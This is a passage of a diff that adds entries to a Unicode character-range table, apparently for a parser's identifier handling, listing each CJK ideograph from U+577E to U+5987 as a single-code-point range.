+ ["\u577E", "\u577E"], /* CJK Ideograph */
+ ["\u577F", "\u577F"], /* CJK Ideograph */
+ ["\u5780", "\u5780"], /* CJK Ideograph */
+ ["\u5781", "\u5781"], /* CJK Ideograph */
+ ["\u5782", "\u5782"], /* CJK Ideograph */
+ ["\u5783", "\u5783"], /* CJK Ideograph */
+ ["\u5784", "\u5784"], /* CJK Ideograph */
+ ["\u5785", "\u5785"], /* CJK Ideograph */
+ ["\u5786", "\u5786"], /* CJK Ideograph */
+ ["\u5787", "\u5787"], /* CJK Ideograph */
+ ["\u5788", "\u5788"], /* CJK Ideograph */
+ ["\u5789", "\u5789"], /* CJK Ideograph */
+ ["\u578A", "\u578A"], /* CJK Ideograph */
+ ["\u578B", "\u578B"], /* CJK Ideograph */
+ ["\u578C", "\u578C"], /* CJK Ideograph */
+ ["\u578D", "\u578D"], /* CJK Ideograph */
+ ["\u578E", "\u578E"], /* CJK Ideograph */
+ ["\u578F", "\u578F"], /* CJK Ideograph */
+ ["\u5790", "\u5790"], /* CJK Ideograph */
+ ["\u5791", "\u5791"], /* CJK Ideograph */
+ ["\u5792", "\u5792"], /* CJK Ideograph */
+ ["\u5793", "\u5793"], /* CJK Ideograph */
+ ["\u5794", "\u5794"], /* CJK Ideograph */
+ ["\u5795", "\u5795"], /* CJK Ideograph */
+ ["\u5796", "\u5796"], /* CJK Ideograph */
+ ["\u5797", "\u5797"], /* CJK Ideograph */
+ ["\u5798", "\u5798"], /* CJK Ideograph */
+ ["\u5799", "\u5799"], /* CJK Ideograph */
+ ["\u579A", "\u579A"], /* CJK Ideograph */
+ ["\u579B", "\u579B"], /* CJK Ideograph */
+ ["\u579C", "\u579C"], /* CJK Ideograph */
+ ["\u579D", "\u579D"], /* CJK Ideograph */
+ ["\u579E", "\u579E"], /* CJK Ideograph */
+ ["\u579F", "\u579F"], /* CJK Ideograph */
+ ["\u57A0", "\u57A0"], /* CJK Ideograph */
+ ["\u57A1", "\u57A1"], /* CJK Ideograph */
+ ["\u57A2", "\u57A2"], /* CJK Ideograph */
+ ["\u57A3", "\u57A3"], /* CJK Ideograph */
+ ["\u57A4", "\u57A4"], /* CJK Ideograph */
+ ["\u57A5", "\u57A5"], /* CJK Ideograph */
+ ["\u57A6", "\u57A6"], /* CJK Ideograph */
+ ["\u57A7", "\u57A7"], /* CJK Ideograph */
+ ["\u57A8", "\u57A8"], /* CJK Ideograph */
+ ["\u57A9", "\u57A9"], /* CJK Ideograph */
+ ["\u57AA", "\u57AA"], /* CJK Ideograph */
+ ["\u57AB", "\u57AB"], /* CJK Ideograph */
+ ["\u57AC", "\u57AC"], /* CJK Ideograph */
+ ["\u57AD", "\u57AD"], /* CJK Ideograph */
+ ["\u57AE", "\u57AE"], /* CJK Ideograph */
+ ["\u57AF", "\u57AF"], /* CJK Ideograph */
+ ["\u57B0", "\u57B0"], /* CJK Ideograph */
+ ["\u57B1", "\u57B1"], /* CJK Ideograph */
+ ["\u57B2", "\u57B2"], /* CJK Ideograph */
+ ["\u57B3", "\u57B3"], /* CJK Ideograph */
+ ["\u57B4", "\u57B4"], /* CJK Ideograph */
+ ["\u57B5", "\u57B5"], /* CJK Ideograph */
+ ["\u57B6", "\u57B6"], /* CJK Ideograph */
+ ["\u57B7", "\u57B7"], /* CJK Ideograph */
+ ["\u57B8", "\u57B8"], /* CJK Ideograph */
+ ["\u57B9", "\u57B9"], /* CJK Ideograph */
+ ["\u57BA", "\u57BA"], /* CJK Ideograph */
+ ["\u57BB", "\u57BB"], /* CJK Ideograph */
+ ["\u57BC", "\u57BC"], /* CJK Ideograph */
+ ["\u57BD", "\u57BD"], /* CJK Ideograph */
+ ["\u57BE", "\u57BE"], /* CJK Ideograph */
+ ["\u57BF", "\u57BF"], /* CJK Ideograph */
+ ["\u57C0", "\u57C0"], /* CJK Ideograph */
+ ["\u57C1", "\u57C1"], /* CJK Ideograph */
+ ["\u57C2", "\u57C2"], /* CJK Ideograph */
+ ["\u57C3", "\u57C3"], /* CJK Ideograph */
+ ["\u57C4", "\u57C4"], /* CJK Ideograph */
+ ["\u57C5", "\u57C5"], /* CJK Ideograph */
+ ["\u57C6", "\u57C6"], /* CJK Ideograph */
+ ["\u57C7", "\u57C7"], /* CJK Ideograph */
+ ["\u57C8", "\u57C8"], /* CJK Ideograph */
+ ["\u57C9", "\u57C9"], /* CJK Ideograph */
+ ["\u57CA", "\u57CA"], /* CJK Ideograph */
+ ["\u57CB", "\u57CB"], /* CJK Ideograph */
+ ["\u57CC", "\u57CC"], /* CJK Ideograph */
+ ["\u57CD", "\u57CD"], /* CJK Ideograph */
+ ["\u57CE", "\u57CE"], /* CJK Ideograph */
+ ["\u57CF", "\u57CF"], /* CJK Ideograph */
+ ["\u57D0", "\u57D0"], /* CJK Ideograph */
+ ["\u57D1", "\u57D1"], /* CJK Ideograph */
+ ["\u57D2", "\u57D2"], /* CJK Ideograph */
+ ["\u57D3", "\u57D3"], /* CJK Ideograph */
+ ["\u57D4", "\u57D4"], /* CJK Ideograph */
+ ["\u57D5", "\u57D5"], /* CJK Ideograph */
+ ["\u57D6", "\u57D6"], /* CJK Ideograph */
+ ["\u57D7", "\u57D7"], /* CJK Ideograph */
+ ["\u57D8", "\u57D8"], /* CJK Ideograph */
+ ["\u57D9", "\u57D9"], /* CJK Ideograph */
+ ["\u57DA", "\u57DA"], /* CJK Ideograph */
+ ["\u57DB", "\u57DB"], /* CJK Ideograph */
+ ["\u57DC", "\u57DC"], /* CJK Ideograph */
+ ["\u57DD", "\u57DD"], /* CJK Ideograph */
+ ["\u57DE", "\u57DE"], /* CJK Ideograph */
+ ["\u57DF", "\u57DF"], /* CJK Ideograph */
+ ["\u57E0", "\u57E0"], /* CJK Ideograph */
+ ["\u57E1", "\u57E1"], /* CJK Ideograph */
+ ["\u57E2", "\u57E2"], /* CJK Ideograph */
+ ["\u57E3", "\u57E3"], /* CJK Ideograph */
+ ["\u57E4", "\u57E4"], /* CJK Ideograph */
+ ["\u57E5", "\u57E5"], /* CJK Ideograph */
+ ["\u57E6", "\u57E6"], /* CJK Ideograph */
+ ["\u57E7", "\u57E7"], /* CJK Ideograph */
+ ["\u57E8", "\u57E8"], /* CJK Ideograph */
+ ["\u57E9", "\u57E9"], /* CJK Ideograph */
+ ["\u57EA", "\u57EA"], /* CJK Ideograph */
+ ["\u57EB", "\u57EB"], /* CJK Ideograph */
+ ["\u57EC", "\u57EC"], /* CJK Ideograph */
+ ["\u57ED", "\u57ED"], /* CJK Ideograph */
+ ["\u57EE", "\u57EE"], /* CJK Ideograph */
+ ["\u57EF", "\u57EF"], /* CJK Ideograph */
+ ["\u57F0", "\u57F0"], /* CJK Ideograph */
+ ["\u57F1", "\u57F1"], /* CJK Ideograph */
+ ["\u57F2", "\u57F2"], /* CJK Ideograph */
+ ["\u57F3", "\u57F3"], /* CJK Ideograph */
+ ["\u57F4", "\u57F4"], /* CJK Ideograph */
+ ["\u57F5", "\u57F5"], /* CJK Ideograph */
+ ["\u57F6", "\u57F6"], /* CJK Ideograph */
+ ["\u57F7", "\u57F7"], /* CJK Ideograph */
+ ["\u57F8", "\u57F8"], /* CJK Ideograph */
+ ["\u57F9", "\u57F9"], /* CJK Ideograph */
+ ["\u57FA", "\u57FA"], /* CJK Ideograph */
+ ["\u57FB", "\u57FB"], /* CJK Ideograph */
+ ["\u57FC", "\u57FC"], /* CJK Ideograph */
+ ["\u57FD", "\u57FD"], /* CJK Ideograph */
+ ["\u57FE", "\u57FE"], /* CJK Ideograph */
+ ["\u57FF", "\u57FF"], /* CJK Ideograph */
+ ["\u5800", "\u5800"], /* CJK Ideograph */
+ ["\u5801", "\u5801"], /* CJK Ideograph */
+ ["\u5802", "\u5802"], /* CJK Ideograph */
+ ["\u5803", "\u5803"], /* CJK Ideograph */
+ ["\u5804", "\u5804"], /* CJK Ideograph */
+ ["\u5805", "\u5805"], /* CJK Ideograph */
+ ["\u5806", "\u5806"], /* CJK Ideograph */
+ ["\u5807", "\u5807"], /* CJK Ideograph */
+ ["\u5808", "\u5808"], /* CJK Ideograph */
+ ["\u5809", "\u5809"], /* CJK Ideograph */
+ ["\u580A", "\u580A"], /* CJK Ideograph */
+ ["\u580B", "\u580B"], /* CJK Ideograph */
+ ["\u580C", "\u580C"], /* CJK Ideograph */
+ ["\u580D", "\u580D"], /* CJK Ideograph */
+ ["\u580E", "\u580E"], /* CJK Ideograph */
+ ["\u580F", "\u580F"], /* CJK Ideograph */
+ ["\u5810", "\u5810"], /* CJK Ideograph */
+ ["\u5811", "\u5811"], /* CJK Ideograph */
+ ["\u5812", "\u5812"], /* CJK Ideograph */
+ ["\u5813", "\u5813"], /* CJK Ideograph */
+ ["\u5814", "\u5814"], /* CJK Ideograph */
+ ["\u5815", "\u5815"], /* CJK Ideograph */
+ ["\u5816", "\u5816"], /* CJK Ideograph */
+ ["\u5817", "\u5817"], /* CJK Ideograph */
+ ["\u5818", "\u5818"], /* CJK Ideograph */
+ ["\u5819", "\u5819"], /* CJK Ideograph */
+ ["\u581A", "\u581A"], /* CJK Ideograph */
+ ["\u581B", "\u581B"], /* CJK Ideograph */
+ ["\u581C", "\u581C"], /* CJK Ideograph */
+ ["\u581D", "\u581D"], /* CJK Ideograph */
+ ["\u581E", "\u581E"], /* CJK Ideograph */
+ ["\u581F", "\u581F"], /* CJK Ideograph */
+ ["\u5820", "\u5820"], /* CJK Ideograph */
+ ["\u5821", "\u5821"], /* CJK Ideograph */
+ ["\u5822", "\u5822"], /* CJK Ideograph */
+ ["\u5823", "\u5823"], /* CJK Ideograph */
+ ["\u5824", "\u5824"], /* CJK Ideograph */
+ ["\u5825", "\u5825"], /* CJK Ideograph */
+ ["\u5826", "\u5826"], /* CJK Ideograph */
+ ["\u5827", "\u5827"], /* CJK Ideograph */
+ ["\u5828", "\u5828"], /* CJK Ideograph */
+ ["\u5829", "\u5829"], /* CJK Ideograph */
+ ["\u582A", "\u582A"], /* CJK Ideograph */
+ ["\u582B", "\u582B"], /* CJK Ideograph */
+ ["\u582C", "\u582C"], /* CJK Ideograph */
+ ["\u582D", "\u582D"], /* CJK Ideograph */
+ ["\u582E", "\u582E"], /* CJK Ideograph */
+ ["\u582F", "\u582F"], /* CJK Ideograph */
+ ["\u5830", "\u5830"], /* CJK Ideograph */
+ ["\u5831", "\u5831"], /* CJK Ideograph */
+ ["\u5832", "\u5832"], /* CJK Ideograph */
+ ["\u5833", "\u5833"], /* CJK Ideograph */
+ ["\u5834", "\u5834"], /* CJK Ideograph */
+ ["\u5835", "\u5835"], /* CJK Ideograph */
+ ["\u5836", "\u5836"], /* CJK Ideograph */
+ ["\u5837", "\u5837"], /* CJK Ideograph */
+ ["\u5838", "\u5838"], /* CJK Ideograph */
+ ["\u5839", "\u5839"], /* CJK Ideograph */
+ ["\u583A", "\u583A"], /* CJK Ideograph */
+ ["\u583B", "\u583B"], /* CJK Ideograph */
+ ["\u583C", "\u583C"], /* CJK Ideograph */
+ ["\u583D", "\u583D"], /* CJK Ideograph */
+ ["\u583E", "\u583E"], /* CJK Ideograph */
+ ["\u583F", "\u583F"], /* CJK Ideograph */
+ ["\u5840", "\u5840"], /* CJK Ideograph */
+ ["\u5841", "\u5841"], /* CJK Ideograph */
+ ["\u5842", "\u5842"], /* CJK Ideograph */
+ ["\u5843", "\u5843"], /* CJK Ideograph */
+ ["\u5844", "\u5844"], /* CJK Ideograph */
+ ["\u5845", "\u5845"], /* CJK Ideograph */
+ ["\u5846", "\u5846"], /* CJK Ideograph */
+ ["\u5847", "\u5847"], /* CJK Ideograph */
+ ["\u5848", "\u5848"], /* CJK Ideograph */
+ ["\u5849", "\u5849"], /* CJK Ideograph */
+ ["\u584A", "\u584A"], /* CJK Ideograph */
+ ["\u584B", "\u584B"], /* CJK Ideograph */
+ ["\u584C", "\u584C"], /* CJK Ideograph */
+ ["\u584D", "\u584D"], /* CJK Ideograph */
+ ["\u584E", "\u584E"], /* CJK Ideograph */
+ ["\u584F", "\u584F"], /* CJK Ideograph */
+ ["\u5850", "\u5850"], /* CJK Ideograph */
+ ["\u5851", "\u5851"], /* CJK Ideograph */
+ ["\u5852", "\u5852"], /* CJK Ideograph */
+ ["\u5853", "\u5853"], /* CJK Ideograph */
+ ["\u5854", "\u5854"], /* CJK Ideograph */
+ ["\u5855", "\u5855"], /* CJK Ideograph */
+ ["\u5856", "\u5856"], /* CJK Ideograph */
+ ["\u5857", "\u5857"], /* CJK Ideograph */
+ ["\u5858", "\u5858"], /* CJK Ideograph */
+ ["\u5859", "\u5859"], /* CJK Ideograph */
+ ["\u585A", "\u585A"], /* CJK Ideograph */
+ ["\u585B", "\u585B"], /* CJK Ideograph */
+ ["\u585C", "\u585C"], /* CJK Ideograph */
+ ["\u585D", "\u585D"], /* CJK Ideograph */
+ ["\u585E", "\u585E"], /* CJK Ideograph */
+ ["\u585F", "\u585F"], /* CJK Ideograph */
+ ["\u5860", "\u5860"], /* CJK Ideograph */
+ ["\u5861", "\u5861"], /* CJK Ideograph */
+ ["\u5862", "\u5862"], /* CJK Ideograph */
+ ["\u5863", "\u5863"], /* CJK Ideograph */
+ ["\u5864", "\u5864"], /* CJK Ideograph */
+ ["\u5865", "\u5865"], /* CJK Ideograph */
+ ["\u5866", "\u5866"], /* CJK Ideograph */
+ ["\u5867", "\u5867"], /* CJK Ideograph */
+ ["\u5868", "\u5868"], /* CJK Ideograph */
+ ["\u5869", "\u5869"], /* CJK Ideograph */
+ ["\u586A", "\u586A"], /* CJK Ideograph */
+ ["\u586B", "\u586B"], /* CJK Ideograph */
+ ["\u586C", "\u586C"], /* CJK Ideograph */
+ ["\u586D", "\u586D"], /* CJK Ideograph */
+ ["\u586E", "\u586E"], /* CJK Ideograph */
+ ["\u586F", "\u586F"], /* CJK Ideograph */
+ ["\u5870", "\u5870"], /* CJK Ideograph */
+ ["\u5871", "\u5871"], /* CJK Ideograph */
+ ["\u5872", "\u5872"], /* CJK Ideograph */
+ ["\u5873", "\u5873"], /* CJK Ideograph */
+ ["\u5874", "\u5874"], /* CJK Ideograph */
+ ["\u5875", "\u5875"], /* CJK Ideograph */
+ ["\u5876", "\u5876"], /* CJK Ideograph */
+ ["\u5877", "\u5877"], /* CJK Ideograph */
+ ["\u5878", "\u5878"], /* CJK Ideograph */
+ ["\u5879", "\u5879"], /* CJK Ideograph */
+ ["\u587A", "\u587A"], /* CJK Ideograph */
+ ["\u587B", "\u587B"], /* CJK Ideograph */
+ ["\u587C", "\u587C"], /* CJK Ideograph */
+ ["\u587D", "\u587D"], /* CJK Ideograph */
+ ["\u587E", "\u587E"], /* CJK Ideograph */
+ ["\u587F", "\u587F"], /* CJK Ideograph */
+ ["\u5880", "\u5880"], /* CJK Ideograph */
+ ["\u5881", "\u5881"], /* CJK Ideograph */
+ ["\u5882", "\u5882"], /* CJK Ideograph */
+ ["\u5883", "\u5883"], /* CJK Ideograph */
+ ["\u5884", "\u5884"], /* CJK Ideograph */
+ ["\u5885", "\u5885"], /* CJK Ideograph */
+ ["\u5886", "\u5886"], /* CJK Ideograph */
+ ["\u5887", "\u5887"], /* CJK Ideograph */
+ ["\u5888", "\u5888"], /* CJK Ideograph */
+ ["\u5889", "\u5889"], /* CJK Ideograph */
+ ["\u588A", "\u588A"], /* CJK Ideograph */
+ ["\u588B", "\u588B"], /* CJK Ideograph */
+ ["\u588C", "\u588C"], /* CJK Ideograph */
+ ["\u588D", "\u588D"], /* CJK Ideograph */
+ ["\u588E", "\u588E"], /* CJK Ideograph */
+ ["\u588F", "\u588F"], /* CJK Ideograph */
+ ["\u5890", "\u5890"], /* CJK Ideograph */
+ ["\u5891", "\u5891"], /* CJK Ideograph */
+ ["\u5892", "\u5892"], /* CJK Ideograph */
+ ["\u5893", "\u5893"], /* CJK Ideograph */
+ ["\u5894", "\u5894"], /* CJK Ideograph */
+ ["\u5895", "\u5895"], /* CJK Ideograph */
+ ["\u5896", "\u5896"], /* CJK Ideograph */
+ ["\u5897", "\u5897"], /* CJK Ideograph */
+ ["\u5898", "\u5898"], /* CJK Ideograph */
+ ["\u5899", "\u5899"], /* CJK Ideograph */
+ ["\u589A", "\u589A"], /* CJK Ideograph */
+ ["\u589B", "\u589B"], /* CJK Ideograph */
+ ["\u589C", "\u589C"], /* CJK Ideograph */
+ ["\u589D", "\u589D"], /* CJK Ideograph */
+ ["\u589E", "\u589E"], /* CJK Ideograph */
+ ["\u589F", "\u589F"], /* CJK Ideograph */
+ ["\u58A0", "\u58A0"], /* CJK Ideograph */
+ ["\u58A1", "\u58A1"], /* CJK Ideograph */
+ ["\u58A2", "\u58A2"], /* CJK Ideograph */
+ ["\u58A3", "\u58A3"], /* CJK Ideograph */
+ ["\u58A4", "\u58A4"], /* CJK Ideograph */
+ ["\u58A5", "\u58A5"], /* CJK Ideograph */
+ ["\u58A6", "\u58A6"], /* CJK Ideograph */
+ ["\u58A7", "\u58A7"], /* CJK Ideograph */
+ ["\u58A8", "\u58A8"], /* CJK Ideograph */
+ ["\u58A9", "\u58A9"], /* CJK Ideograph */
+ ["\u58AA", "\u58AA"], /* CJK Ideograph */
+ ["\u58AB", "\u58AB"], /* CJK Ideograph */
+ ["\u58AC", "\u58AC"], /* CJK Ideograph */
+ ["\u58AD", "\u58AD"], /* CJK Ideograph */
+ ["\u58AE", "\u58AE"], /* CJK Ideograph */
+ ["\u58AF", "\u58AF"], /* CJK Ideograph */
+ ["\u58B0", "\u58B0"], /* CJK Ideograph */
+ ["\u58B1", "\u58B1"], /* CJK Ideograph */
+ ["\u58B2", "\u58B2"], /* CJK Ideograph */
+ ["\u58B3", "\u58B3"], /* CJK Ideograph */
+ ["\u58B4", "\u58B4"], /* CJK Ideograph */
+ ["\u58B5", "\u58B5"], /* CJK Ideograph */
+ ["\u58B6", "\u58B6"], /* CJK Ideograph */
+ ["\u58B7", "\u58B7"], /* CJK Ideograph */
+ ["\u58B8", "\u58B8"], /* CJK Ideograph */
+ ["\u58B9", "\u58B9"], /* CJK Ideograph */
+ ["\u58BA", "\u58BA"], /* CJK Ideograph */
+ ["\u58BB", "\u58BB"], /* CJK Ideograph */
+ ["\u58BC", "\u58BC"], /* CJK Ideograph */
+ ["\u58BD", "\u58BD"], /* CJK Ideograph */
+ ["\u58BE", "\u58BE"], /* CJK Ideograph */
+ ["\u58BF", "\u58BF"], /* CJK Ideograph */
+ ["\u58C0", "\u58C0"], /* CJK Ideograph */
+ ["\u58C1", "\u58C1"], /* CJK Ideograph */
+ ["\u58C2", "\u58C2"], /* CJK Ideograph */
+ ["\u58C3", "\u58C3"], /* CJK Ideograph */
+ ["\u58C4", "\u58C4"], /* CJK Ideograph */
+ ["\u58C5", "\u58C5"], /* CJK Ideograph */
+ ["\u58C6", "\u58C6"], /* CJK Ideograph */
+ ["\u58C7", "\u58C7"], /* CJK Ideograph */
+ ["\u58C8", "\u58C8"], /* CJK Ideograph */
+ ["\u58C9", "\u58C9"], /* CJK Ideograph */
+ ["\u58CA", "\u58CA"], /* CJK Ideograph */
+ ["\u58CB", "\u58CB"], /* CJK Ideograph */
+ ["\u58CC", "\u58CC"], /* CJK Ideograph */
+ ["\u58CD", "\u58CD"], /* CJK Ideograph */
+ ["\u58CE", "\u58CE"], /* CJK Ideograph */
+ ["\u58CF", "\u58CF"], /* CJK Ideograph */
+ ["\u58D0", "\u58D0"], /* CJK Ideograph */
+ ["\u58D1", "\u58D1"], /* CJK Ideograph */
+ ["\u58D2", "\u58D2"], /* CJK Ideograph */
+ ["\u58D3", "\u58D3"], /* CJK Ideograph */
+ ["\u58D4", "\u58D4"], /* CJK Ideograph */
+ ["\u58D5", "\u58D5"], /* CJK Ideograph */
+ ["\u58D6", "\u58D6"], /* CJK Ideograph */
+ ["\u58D7", "\u58D7"], /* CJK Ideograph */
+ ["\u58D8", "\u58D8"], /* CJK Ideograph */
+ ["\u58D9", "\u58D9"], /* CJK Ideograph */
+ ["\u58DA", "\u58DA"], /* CJK Ideograph */
+ ["\u58DB", "\u58DB"], /* CJK Ideograph */
+ ["\u58DC", "\u58DC"], /* CJK Ideograph */
+ ["\u58DD", "\u58DD"], /* CJK Ideograph */
+ ["\u58DE", "\u58DE"], /* CJK Ideograph */
+ ["\u58DF", "\u58DF"], /* CJK Ideograph */
+ ["\u58E0", "\u58E0"], /* CJK Ideograph */
+ ["\u58E1", "\u58E1"], /* CJK Ideograph */
+ ["\u58E2", "\u58E2"], /* CJK Ideograph */
+ ["\u58E3", "\u58E3"], /* CJK Ideograph */
+ ["\u58E4", "\u58E4"], /* CJK Ideograph */
+ ["\u58E5", "\u58E5"], /* CJK Ideograph */
+ ["\u58E6", "\u58E6"], /* CJK Ideograph */
+ ["\u58E7", "\u58E7"], /* CJK Ideograph */
+ ["\u58E8", "\u58E8"], /* CJK Ideograph */
+ ["\u58E9", "\u58E9"], /* CJK Ideograph */
+ ["\u58EA", "\u58EA"], /* CJK Ideograph */
+ ["\u58EB", "\u58EB"], /* CJK Ideograph */
+ ["\u58EC", "\u58EC"], /* CJK Ideograph */
+ ["\u58ED", "\u58ED"], /* CJK Ideograph */
+ ["\u58EE", "\u58EE"], /* CJK Ideograph */
+ ["\u58EF", "\u58EF"], /* CJK Ideograph */
+ ["\u58F0", "\u58F0"], /* CJK Ideograph */
+ ["\u58F1", "\u58F1"], /* CJK Ideograph */
+ ["\u58F2", "\u58F2"], /* CJK Ideograph */
+ ["\u58F3", "\u58F3"], /* CJK Ideograph */
+ ["\u58F4", "\u58F4"], /* CJK Ideograph */
+ ["\u58F5", "\u58F5"], /* CJK Ideograph */
+ ["\u58F6", "\u58F6"], /* CJK Ideograph */
+ ["\u58F7", "\u58F7"], /* CJK Ideograph */
+ ["\u58F8", "\u58F8"], /* CJK Ideograph */
+ ["\u58F9", "\u58F9"], /* CJK Ideograph */
+ ["\u58FA", "\u58FA"], /* CJK Ideograph */
+ ["\u58FB", "\u58FB"], /* CJK Ideograph */
+ ["\u58FC", "\u58FC"], /* CJK Ideograph */
+ ["\u58FD", "\u58FD"], /* CJK Ideograph */
+ ["\u58FE", "\u58FE"], /* CJK Ideograph */
+ ["\u58FF", "\u58FF"], /* CJK Ideograph */
+ ["\u5900", "\u5900"], /* CJK Ideograph */
+ ["\u5901", "\u5901"], /* CJK Ideograph */
+ ["\u5902", "\u5902"], /* CJK Ideograph */
+ ["\u5903", "\u5903"], /* CJK Ideograph */
+ ["\u5904", "\u5904"], /* CJK Ideograph */
+ ["\u5905", "\u5905"], /* CJK Ideograph */
+ ["\u5906", "\u5906"], /* CJK Ideograph */
+ ["\u5907", "\u5907"], /* CJK Ideograph */
+ ["\u5908", "\u5908"], /* CJK Ideograph */
+ ["\u5909", "\u5909"], /* CJK Ideograph */
+ ["\u590A", "\u590A"], /* CJK Ideograph */
+ ["\u590B", "\u590B"], /* CJK Ideograph */
+ ["\u590C", "\u590C"], /* CJK Ideograph */
+ ["\u590D", "\u590D"], /* CJK Ideograph */
+ ["\u590E", "\u590E"], /* CJK Ideograph */
+ ["\u590F", "\u590F"], /* CJK Ideograph */
+ ["\u5910", "\u5910"], /* CJK Ideograph */
+ ["\u5911", "\u5911"], /* CJK Ideograph */
+ ["\u5912", "\u5912"], /* CJK Ideograph */
+ ["\u5913", "\u5913"], /* CJK Ideograph */
+ ["\u5914", "\u5914"], /* CJK Ideograph */
+ ["\u5915", "\u5915"], /* CJK Ideograph */
+ ["\u5916", "\u5916"], /* CJK Ideograph */
+ ["\u5917", "\u5917"], /* CJK Ideograph */
+ ["\u5918", "\u5918"], /* CJK Ideograph */
+ ["\u5919", "\u5919"], /* CJK Ideograph */
+ ["\u591A", "\u591A"], /* CJK Ideograph */
+ ["\u591B", "\u591B"], /* CJK Ideograph */
+ ["\u591C", "\u591C"], /* CJK Ideograph */
+ ["\u591D", "\u591D"], /* CJK Ideograph */
+ ["\u591E", "\u591E"], /* CJK Ideograph */
+ ["\u591F", "\u591F"], /* CJK Ideograph */
+ ["\u5920", "\u5920"], /* CJK Ideograph */
+ ["\u5921", "\u5921"], /* CJK Ideograph */
+ ["\u5922", "\u5922"], /* CJK Ideograph */
+ ["\u5923", "\u5923"], /* CJK Ideograph */
+ ["\u5924", "\u5924"], /* CJK Ideograph */
+ ["\u5925", "\u5925"], /* CJK Ideograph */
+ ["\u5926", "\u5926"], /* CJK Ideograph */
+ ["\u5927", "\u5927"], /* CJK Ideograph */
+ ["\u5928", "\u5928"], /* CJK Ideograph */
+ ["\u5929", "\u5929"], /* CJK Ideograph */
+ ["\u592A", "\u592A"], /* CJK Ideograph */
+ ["\u592B", "\u592B"], /* CJK Ideograph */
+ ["\u592C", "\u592C"], /* CJK Ideograph */
+ ["\u592D", "\u592D"], /* CJK Ideograph */
+ ["\u592E", "\u592E"], /* CJK Ideograph */
+ ["\u592F", "\u592F"], /* CJK Ideograph */
+ ["\u5930", "\u5930"], /* CJK Ideograph */
+ ["\u5931", "\u5931"], /* CJK Ideograph */
+ ["\u5932", "\u5932"], /* CJK Ideograph */
+ ["\u5933", "\u5933"], /* CJK Ideograph */
+ ["\u5934", "\u5934"], /* CJK Ideograph */
+ ["\u5935", "\u5935"], /* CJK Ideograph */
+ ["\u5936", "\u5936"], /* CJK Ideograph */
+ ["\u5937", "\u5937"], /* CJK Ideograph */
+ ["\u5938", "\u5938"], /* CJK Ideograph */
+ ["\u5939", "\u5939"], /* CJK Ideograph */
+ ["\u593A", "\u593A"], /* CJK Ideograph */
+ ["\u593B", "\u593B"], /* CJK Ideograph */
+ ["\u593C", "\u593C"], /* CJK Ideograph */
+ ["\u593D", "\u593D"], /* CJK Ideograph */
+ ["\u593E", "\u593E"], /* CJK Ideograph */
+ ["\u593F", "\u593F"], /* CJK Ideograph */
+ ["\u5940", "\u5940"], /* CJK Ideograph */
+ ["\u5941", "\u5941"], /* CJK Ideograph */
+ ["\u5942", "\u5942"], /* CJK Ideograph */
+ ["\u5943", "\u5943"], /* CJK Ideograph */
+ ["\u5944", "\u5944"], /* CJK Ideograph */
+ ["\u5945", "\u5945"], /* CJK Ideograph */
+ ["\u5946", "\u5946"], /* CJK Ideograph */
+ ["\u5947", "\u5947"], /* CJK Ideograph */
+ ["\u5948", "\u5948"], /* CJK Ideograph */
+ ["\u5949", "\u5949"], /* CJK Ideograph */
+ ["\u594A", "\u594A"], /* CJK Ideograph */
+ ["\u594B", "\u594B"], /* CJK Ideograph */
+ ["\u594C", "\u594C"], /* CJK Ideograph */
+ ["\u594D", "\u594D"], /* CJK Ideograph */
+ ["\u594E", "\u594E"], /* CJK Ideograph */
+ ["\u594F", "\u594F"], /* CJK Ideograph */
+ ["\u5950", "\u5950"], /* CJK Ideograph */
+ ["\u5951", "\u5951"], /* CJK Ideograph */
+ ["\u5952", "\u5952"], /* CJK Ideograph */
+ ["\u5953", "\u5953"], /* CJK Ideograph */
+ ["\u5954", "\u5954"], /* CJK Ideograph */
+ ["\u5955", "\u5955"], /* CJK Ideograph */
+ ["\u5956", "\u5956"], /* CJK Ideograph */
+ ["\u5957", "\u5957"], /* CJK Ideograph */
+ ["\u5958", "\u5958"], /* CJK Ideograph */
+ ["\u5959", "\u5959"], /* CJK Ideograph */
+ ["\u595A", "\u595A"], /* CJK Ideograph */
+ ["\u595B", "\u595B"], /* CJK Ideograph */
+ ["\u595C", "\u595C"], /* CJK Ideograph */
+ ["\u595D", "\u595D"], /* CJK Ideograph */
+ ["\u595E", "\u595E"], /* CJK Ideograph */
+ ["\u595F", "\u595F"], /* CJK Ideograph */
+ ["\u5960", "\u5960"], /* CJK Ideograph */
+ ["\u5961", "\u5961"], /* CJK Ideograph */
+ ["\u5962", "\u5962"], /* CJK Ideograph */
+ ["\u5963", "\u5963"], /* CJK Ideograph */
+ ["\u5964", "\u5964"], /* CJK Ideograph */
+ ["\u5965", "\u5965"], /* CJK Ideograph */
+ ["\u5966", "\u5966"], /* CJK Ideograph */
+ ["\u5967", "\u5967"], /* CJK Ideograph */
+ ["\u5968", "\u5968"], /* CJK Ideograph */
+ ["\u5969", "\u5969"], /* CJK Ideograph */
+ ["\u596A", "\u596A"], /* CJK Ideograph */
+ ["\u596B", "\u596B"], /* CJK Ideograph */
+ ["\u596C", "\u596C"], /* CJK Ideograph */
+ ["\u596D", "\u596D"], /* CJK Ideograph */
+ ["\u596E", "\u596E"], /* CJK Ideograph */
+ ["\u596F", "\u596F"], /* CJK Ideograph */
+ ["\u5970", "\u5970"], /* CJK Ideograph */
+ ["\u5971", "\u5971"], /* CJK Ideograph */
+ ["\u5972", "\u5972"], /* CJK Ideograph */
+ ["\u5973", "\u5973"], /* CJK Ideograph */
+ ["\u5974", "\u5974"], /* CJK Ideograph */
+ ["\u5975", "\u5975"], /* CJK Ideograph */
+ ["\u5976", "\u5976"], /* CJK Ideograph */
+ ["\u5977", "\u5977"], /* CJK Ideograph */
+ ["\u5978", "\u5978"], /* CJK Ideograph */
+ ["\u5979", "\u5979"], /* CJK Ideograph */
+ ["\u597A", "\u597A"], /* CJK Ideograph */
+ ["\u597B", "\u597B"], /* CJK Ideograph */
+ ["\u597C", "\u597C"], /* CJK Ideograph */
+ ["\u597D", "\u597D"], /* CJK Ideograph */
+ ["\u597E", "\u597E"], /* CJK Ideograph */
+ ["\u597F", "\u597F"], /* CJK Ideograph */
+ ["\u5980", "\u5980"], /* CJK Ideograph */
+ ["\u5981", "\u5981"], /* CJK Ideograph */
+ ["\u5982", "\u5982"], /* CJK Ideograph */
+ ["\u5983", "\u5983"], /* CJK Ideograph */
+ ["\u5984", "\u5984"], /* CJK Ideograph */
+ ["\u5985", "\u5985"], /* CJK Ideograph */
+ ["\u5986", "\u5986"], /* CJK Ideograph */
+ ["\u5987", "\u5987"], /* CJK Ideograph */
